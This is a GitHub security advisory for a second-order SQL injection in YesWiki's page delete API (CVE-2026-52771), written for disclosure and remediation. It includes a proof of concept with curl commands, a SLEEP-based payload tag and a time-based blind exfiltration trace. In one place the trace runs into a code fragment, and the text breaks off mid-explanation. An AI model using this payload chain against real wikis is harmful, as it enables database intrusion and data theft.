GitHub Advisoryadvisory · Packagist
GHSA-8f2v-2qhj-gfwg YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)
HIGH
Official page ↗
- Aliases
- CVE-2026-52771
- Ecosystem
- Packagist
- Packages
- yeswiki/yeswiki
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- Weaknesses
- CWE-89
- Reviewed
- 2026-07-09
Affected packages
• Packagist yeswiki/yeswiki: >= 4.2.0, < 4.6.6 → fixed in 4.6.6
Description
Summary
`ApiController::deletePage()` interpolates a page tag retrieved from the database into a `DELETE FROM …_links WHERE to_tag = '$tag'` query without escaping. The page tag is attacker-controlled — the `POST /api/pages/{tag}` API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard `{{include page="…"}}` link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.
This is a classic second-order SQL injection: the `INSERT` correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.
Details
Affected component
• File: `includes/controllers/ApiController.php`
• Method: `ApiController::deletePage($tag)`
• Route: `@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})` — `acl:"+"` means *any authenticated user*.
• Sink: line 626
```php
// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
$pageManager = $this->getService(PageManager::class);
$pageController = $this->getService(PageController::class);
$dbService = $this->getService(DbService::class);
...
try {
$page = $pageManager->getOne($tag, null, false); // (a) safe SELECT
if (empty($page)) { ... } else {
$tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB
$result['notDeleted'] = [$tag];
if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
if (!$pageManager->isOrphaned($tag)) {
$dbService->query(
"DELETE FROM {$dbService->prefixTable('links')}
WHERE to_tag = '$tag'"); // (b) SINK — unescaped
}
...
```
The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:
• `tools/tags/handlers/page/__deletepage.php` line 14 - `DELETE … WHERE to_tag = '$tag'`, where `$tag = $this->GetPageTag()` is again the raw stored tag.
• `handlers/page/deletepage.php` lines 93–94 - `LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'")`, same pattern as a SELECT instead of a DELETE.
The API path is the easiest sink to reach because it requires only `acl:"+"` and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler
A low-privilege account can carry the whole chain:
1. Plant — `POST /api/pages/{evil}` with body=anything. `PageManager::save()` escapes the tag at INSERT time (`'\''` in SQL ⇒ stored `'`), so the tag persists with its single quote intact. The new page is owned by the attacker, so `UserIsOwner($tag)` in the delete handler will return true.
2. Make non-orphaned — save *any* second page whose body contains `{{include page=""}}` through the web edit handler. `LinkTracker::preventTrackingActions()` parses the include directive, looks up the referenced page (`PageManager::getOne()` finds it because lookup uses `escape()`, which matches the stored quote), and `LinkTracker::persist()` inserts a row `(from_tag='Linker', to_tag='')` into `_links` — again with `escape()` on the way in, so the raw quote round-trips.
3. Trigger — `DELETE /api/pages/{evil}`. The delete handler reads the page (escaped SELECT, finds the row), assigns `$tag = $page['tag']` (the raw stored value, including `'`), runs `isOrphaned($tag)` (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the unescaped `DELETE FROM …_links WHERE to_tag = '$tag'`. The SQL parser sees the attacker-controlled `'` as the end of the string literal; everything after it is treated as SQL.
The injection point is `WHERE to_tag = ''` — any payload of the form `' -- ` works. With time-based primitives (`SLEEP`), the attacker reads any byte of any row of any table the wiki account can see.
End to End Steps to reproduce the issue
1. Preflight
• lab is up at http://localhost:8085
2. Logging in
• admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
3. Tier 1 - POST /api/pages/ (as TestUser01)
• PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
4. Tier 2 - make the evil page non-orphaned
• PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
5. Tier 2 - DELETE /api/pages/ (as TestUser01)
• baseline (non-existent tag) : 0.468s
• exploit (SLEEP(2) in tag) : 2.555s
• delta : 2.087s
• PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
6. Tier 3 - time-based blind data exfiltration
• char='w' elapsed=0.505s miss
• char='x' elapsed=0.495s miss
• char='y' elapsed=3.522s query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");
```
Log in as the low-privilege attacker. We will get the session in return
```bash
rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
--data-urlencode "action=login" --data-urlencode "context=LoginPoc" \
--data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
--data-urlencode "remember=1"
Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"
```
Plant a page whose tag contains SQL meta-characters.
The Symfony route accepts the default `[^/]+` regex for `{tag}`, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal `'`. That is the seed of the second-order bug.
```bash
EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')
echo "raw tag : $EVIL_TAG"
echo "URL-encoded : $EVIL_ENC"
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
--data-urlencode "body=poc"
```
• The API accepted a tag with a literal `'` and SQL keywords, completely unsanitized.
• The single quote round-tripped through `PageManager::save()`'s `escape()` and is now sitting in the database byte-for-byte as `SleepTag' OR SLEEP(2)-- ` — exactly what an attacker needs the read-back to return.
• `TestUser01` is the owner, so the eventual `UserIsOwner($tag)` check in the delete handler will pass for them.
Now, create a second page that will link to the evil page
The sink at L626 is gated by `if (!$pageManager->isOrphaned($tag))`. To pass it, the evil tag has to appear as …
Related
Alias · CVE (1)
- CVE-2026-52771 YesWiki is a wiki system written in PHP. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness